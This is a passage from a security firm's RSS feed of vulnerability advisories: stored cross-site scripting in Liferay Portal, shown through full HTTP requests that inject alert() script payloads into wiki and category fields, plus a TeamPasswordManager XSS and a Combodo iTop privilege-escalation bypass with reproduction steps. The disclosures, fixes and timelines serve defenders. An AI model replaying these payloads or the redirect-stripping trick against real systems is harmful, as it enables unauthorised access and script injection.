Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_contentEditor"


-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_content"

&amp;lt;script&amp;gt;alert("child node")&amp;lt;/script&amp;gt;


-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_assetLinksSearchContainerPrimaryKeys"


-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_assetLinkEntryIds"


-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_summary"


-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_format"

creole
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_inputPermissionsShowOptions"

false
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_inputPermissionsViewRole"

Guest
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_guestPermissions"

VIEW
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_guestPermissions"

ADD_DISCUSSION
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_groupPermissions"

UPDATE
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_groupPermissions"

SUBSCRIBE
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_groupPermissions"

VIEW
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_groupPermissions"

ADD_DISCUSSION
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="p_auth"

GgaH6PDc
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_saveButton"


-----------------------------9342881932314680790817840128--&lt;/pre&gt;
&lt;p&gt;Later, the browser sends a GET request to retrieve the parent page, for example to the follwoing resource:&lt;/p&gt;
&lt;pre class="literal-block"&gt;GET /wiki/-/wiki/Main/FrontPage?p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage HTTP/1.1
[...]&lt;/pre&gt;
&lt;p&gt;The corresponding HTTP response contains the injected JavaScript code:&lt;/p&gt;
&lt;pre class="literal-block"&gt;HTTP/1.1 200
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, no-cache, no-store, must-revalidate
Pragma: no-cache
Liferay-Portal: Liferay Community Edition Portal
Content-Type: text/html;charset=UTF-8
Date: Mon, 16 Oct 2023 11:18:28 GMT
Connection: close
Content-Length: 178424

[...]]
&amp;lt;h4 class="text-default"&amp;gt;Child Pages (1)&amp;lt;/h4&amp;gt;
 &amp;lt;div&amp;gt;
  &amp;lt;ul class="list-group"&amp;gt;
   &amp;lt;li class="list-group-item"&amp;gt;&amp;lt;h3&amp;gt;&amp;lt;a href="http://localhost:9090/wiki/-/wiki/Main/child+page?p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&amp;amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=child+page"&amp;gt;child page&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt; &amp;lt;p class="text-default"&amp;gt;&amp;lt;script&amp;gt;alert("child node")&amp;lt;/script&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;
  &amp;lt;/ul&amp;gt;
 &amp;lt;/div&amp;gt;&lt;/pre&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202310_liferay_wiki_payload.png"&gt;
&lt;img alt="XSS payloads in wiki child pages." class="align-center" src="https://www.pentagrid.ch/images/202310_liferay_wiki_payload.thumbnail.png"&gt;
&lt;/a&gt;
&lt;/section&gt;
&lt;section id="persistent-cross-site-scripting-vulnerability-via-category-vocabulary-cve-2023-42629"&gt;
&lt;h3&gt;4. Persistent cross-site scripting vulnerability via category vocabulary (CVE-2023-42629)&lt;/h3&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N, 6.1 Medium&lt;/pre&gt;
&lt;p&gt;When adding new vocabulary to the categories, an attacker can inject a malicious payload into the description field. This payload gets executed in the browser of the victim when they visit the category page. If the malicious entry is not the first in the list, the payload gets executed once the victim selects the malicious entry.&lt;/p&gt;
&lt;p&gt;HTTP request:&lt;/p&gt;
&lt;pre class="literal-block"&gt;POST /group/speedwell/~/control_panel/manage/-/categories_admin/vocabularies/new?p_p_lifecycle=1&amp;amp;_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_javax.portlet.action=%2Fasset_categories_admin%2Fedit_asset_vocabulary HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:9090/group/speedwell/~/control_panel/manage/-/categories_admin/vocabularies/client
x-csrf-token: GgaH6PDc
x-pjax: true
x-requested-with: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------23385551494836211141651886319
Content-Length: 3949
Origin: http://localhost:9090
Connection: close
Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697454288116
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_formDate"

1697454287833
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_redirect"

http://localhost:9090/group/speedwell/~/control_panel/manage/-/categories_admin/vocabularies
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_vocabularyId"

0
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_title"

MyCategory
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_title_en_US"

MyCategory
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_description"

&amp;lt;script&amp;gt;alert("description")&amp;lt;/script&amp;gt;
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_description_en_US"

&amp;lt;script&amp;gt;alert("description")&amp;lt;/script&amp;gt;
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_multiValued"

on
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_visibilityType"

0
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_classNameId0"

0
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_subtype29955-classNameId0"

-1
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_subtype20010-classNameId0"

-1
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_indexes"

0
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_inputPermissionsShowOptions"

false
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_inputPermissionsViewRole"

Guest
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_guestPermissions"

VIEW
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_groupPermissions"

VIEW
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_checkboxNames"

multiValued,required0
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="p_auth"

GgaH6PDc
-----------------------------23385551494836211141651886319--&lt;/pre&gt;
&lt;p&gt;Later, when a user requests a vocabulary entry, for example via a HTTP GET request to &lt;cite&gt;/group/speedwell/~/control_panel/manage/-/categories_admin/vocabulary/35897&lt;/cite&gt;, the HTTP response is:&lt;/p&gt;
&lt;pre class="literal-block"&gt;HTTP/1.1 200
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, no-cache, no-store, must-revalidate
Pragma: no-cache
Liferay-Portal: Liferay Community Edition Portal
Content-Type: text/html;charset=UTF-8
Date: Mon, 16 Oct 2023 11:05:58 GMT
Connection: close
Content-Length: 128719

[...]
&amp;lt;div class="sheet sheet-full"&amp;gt;
    &amp;lt;h2 class="sheet-title"&amp;gt;
        &amp;lt;div class="autofit-row autofit-row-center"&amp;gt;
            &amp;lt;div class="autofit-col"&amp;gt;
                MyCategory
            &amp;lt;/div&amp;gt;
[...]
            &amp;lt;div class="mb-2"&amp;gt;
                &amp;lt;span class="mr-1"&amp;gt;Description:&amp;lt;/span&amp;gt;
                &amp;lt;span class="text-break text-secondary"&amp;gt;&amp;lt;script&amp;gt;alert("description")&amp;lt;/script&amp;gt;&amp;lt;/span&amp;gt;
            &amp;lt;/div&amp;gt;

    &amp;lt;/div&amp;gt;
[...]&lt;/pre&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202310_liferay_categories.png"&gt;
&lt;img alt="XSS payloads in the description field of a vocabulary entry." class="align-center" src="https://www.pentagrid.ch/images/202310_liferay_categories.thumbnail.png"&gt;
&lt;/a&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="precondition"&gt;
&lt;h2&gt;Precondition&lt;/h2&gt;
&lt;p&gt;The affected modules must be enabled and used. Furthermore, an attacker must have the permission to enter the corresponding data. So it depends how the permissions are defined in a specific Liferay Portal instance.&lt;/p&gt;
&lt;p&gt;It may be possible that guests are allowed to submit wiki pages or order products without a user account. Though adding new vocabulary to categories or regions to countries may be reserved for users with higher privileges.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="recommendation"&gt;
&lt;h2&gt;Recommendation&lt;/h2&gt;
&lt;p&gt;Pentagrid recommends to update the Liferay Portal version. According to Liferay:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;CVE-2023-42627 is fixed in Liferay Portal 7.4.3.92.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CVE-2023-42628 is fixed in Liferay Portal 7.4.3.88.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CVE-2023-42629 is fixed in Liferay Portal 7.4.3.88.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="credits"&gt;
&lt;h2&gt;Credits&lt;/h2&gt;
&lt;p&gt;These vulnerabilities have been found by Michael Oelke (Pentagrid).
We would like to thank Samuel Kong (Liferay) for the professional handling of the security issues.&lt;/p&gt;
&lt;/section&gt;</description><guid>https://www.pentagrid.ch/de/blog/stored-cross-site-scripting-vulnerabilities-in-liferay-portal/</guid><pubDate>Tue, 17 Oct 2023 06:00:00 GMT</pubDate></item><item><title>Security issues in TeamPasswordManager and Combodo iTop (CVE-2019-19461, CVE-2019-19821)</title><link>https://www.pentagrid.ch/de/blog/security_issues_in_teampasswordmanager_and_combodo_itop/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;figure&gt;&lt;img src="https://www.pentagrid.ch/images/default_preview_image.jpeg"&gt;&lt;/figure&gt; &lt;p&gt;In 2019 we looked at various products that are used by our customers. This post mentions two rather low hanging fruits that might be still important if the software is used due to their potential impact. These vulnerabilities affect TeamPasswordManager and Combodo iTop.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;section id="teampasswordmanager"&gt;
&lt;h2&gt;TeamPasswordManager&lt;/h2&gt;
&lt;p&gt;The first issue we would like to mention briefly was a post-authentication stored Cross-site Scripting (XSS) in the TeamPasswordManager product (teampasswordmanager.com). CVE-2019-19461 has been assigned to this security problem, allowing an authenticated user to steal other user's passwords when a shared password entry is visited. For a password manager this is a severe security issue. All that was necessary for exploitation, was a user account and using some HTML tags in the password entry name. We sent the details to the vendor and &lt;a class="reference external" href="https://teampasswordmanager.com/docs/changelog/#7.103.208"&gt;they fixed it&lt;/a&gt;. As we later found out, this application had &lt;a class="reference external" href="https://www.qualys.com/2018/03/08/qualys-security-advisory-qsa-2018-03-08.pdf"&gt;several security issues in the past that were found by Qualys&lt;/a&gt;, but unfortunately no CVEs were assigned back then and therefore we didn't find them right away.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="combodo-itop"&gt;
&lt;h2&gt;Combodo iTop&lt;/h2&gt;
&lt;p&gt;Another product we looked at in 2019 was the Combodo iTop application. It uses the slogan "ITIL for all", provides a web interface that can be used for various business processes such as incident management and change management. The Combodo iTop is a web-based open-source software to support IT Service Management. It is widely used in small and large enterprises according to Combodo's website. As part of a larger scope of a security analysis, Pentagrid AG has briefly analysed the security of the Combodo iTop software and found an authorization vulnerability. By not following the HTTP Location header in server responses, regular authenticated users can access the web application with administrative privileges. This means we found a web application authorization bypass vulnerability that allows post-authentication privilege escalation in Combodo iTop (CVE-2019-19821).&lt;/p&gt;
&lt;section id="impact"&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;Authenticated users can browse and modify the web application as administrators. This includes access to all tickets, the inventory and other information of the organization and other users. This allows access to different functionality of the Configuration Management (e.g. IT inventory), Change Management (e.g. ticketing), Service Management (e.g. provider and SLA management) and potentially other functionality of iTop.&lt;/p&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N, 8.1 High&lt;/pre&gt;
&lt;/section&gt;
&lt;section id="timeline"&gt;
&lt;h3&gt;Timeline&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2019-12-10: Initial contact request sent to Combodo via contact form on Combodo website&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-12-10: Initial contact request sent to &lt;a class="reference external" href="mailto:itop-security@combodo.com"&gt;itop-security@combodo.com&lt;/a&gt; according to &lt;a class="reference external" href="https://github.com/Combodo/iTop/blob/develop/SECURITY.md"&gt;https://github.com/Combodo/iTop/blob/develop/SECURITY.md&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-12-11: Vulnerability details sent to Combodo&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-12-12: Combodo reproduced the vulnerability. The release iTop 2.7 will fix the issue end of March. Maintenance releases for iTop 2.5 and 2.6 are released in the meantime to fix the issues.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2020-01-07: Pentagrid informs Combodo that no maintenance release seems to be available yet, recommends early maintainance release to get high patch adoption rate on planned advisory release date (2020-03-10).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2020-03-11: Advisory public release&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="affected-components"&gt;
&lt;h3&gt;Affected Components&lt;/h3&gt;
&lt;p&gt;The iTop web application was tested in version 2.3.1 build 2832 and in version 2.6.1 (unknown build), which were both affected. Other versions are likely to be affected as well.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details"&gt;
&lt;h3&gt;Technical Details&lt;/h3&gt;
&lt;p&gt;While the server will respond with HTTP 302 redirect responses when administrative actions are attempted, the redirect will still include a large HTTP body, which constitutes of the entire administrative interface. Additionally, actions in the administrative interface are executed on the server side, meaning modification of the data is possible.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="exploitation"&gt;
&lt;h3&gt;Exploitation&lt;/h3&gt;
&lt;p&gt;To reproduce the vulnerability, the iTop web application needs to be installed and a regular user account is necessary. To prevent the browser from following redirects it is easiest to use a local proxy software between the browser and the server. Configuring a search and replace rule that deletes the "Location" HTTP response headers is enough to demonstrate the vulnerability.&lt;/p&gt;
&lt;p&gt;The iTop demonstration page that allows administrative and user access on the URL &lt;a class="reference external" href="https://www.combodo.com/itop-access-to-the-demonstration"&gt;https://www.combodo.com/itop-access-to-the-demonstration&lt;/a&gt; could be used to demonstrate the issue. When the search and replace rule in the local proxy software was active, a login as a portal user will automatically show the administrative interface.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="precondition"&gt;
&lt;h3&gt;Precondition&lt;/h3&gt;
&lt;p&gt;To exploit the vulnerability, an attacker needs access to the iTop web application as a regular user.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="patches-and-workaround"&gt;
&lt;h3&gt;Patches and Workaround&lt;/h3&gt;
&lt;p&gt;iTop Professional and Essential 2.5.4 and 2.6.3 (dedicated to Combodo Clients) have been released on 2020-01-22. iTop 2.5.4 and 2.6.3 (for iTop Community) were released on 2020-02-05.&lt;/p&gt;
&lt;p&gt;iTop Professional and Essential 2.7.0 (dedicated to Combodo Clients) should be released on 2020-03-18. iTop 2.7.0 (for iTop Community) should be released on 2020-04-01.&lt;/p&gt;
&lt;p&gt;Web Application Firewalls could potentially be configured to strip all HTTP bodies from 302 redirect responses and therefore prevent sensitive information to be extracted in the most simple attack scenario. However, malicious modifications are still possible if such a mitigation is employed and other channels to leak sensitive information might exist.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="credits"&gt;
&lt;h3&gt;Credits&lt;/h3&gt;
&lt;p&gt;This vulnerability has been found by Tobias Ospelt of Pentagrid AG.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;</description><guid>https://www.pentagrid.ch/de/blog/security_issues_in_teampasswordmanager_and_combodo_itop/</guid><pubDate>Wed, 11 Mar 2020 09:00:00 GMT</pubDate></item></channel></rss>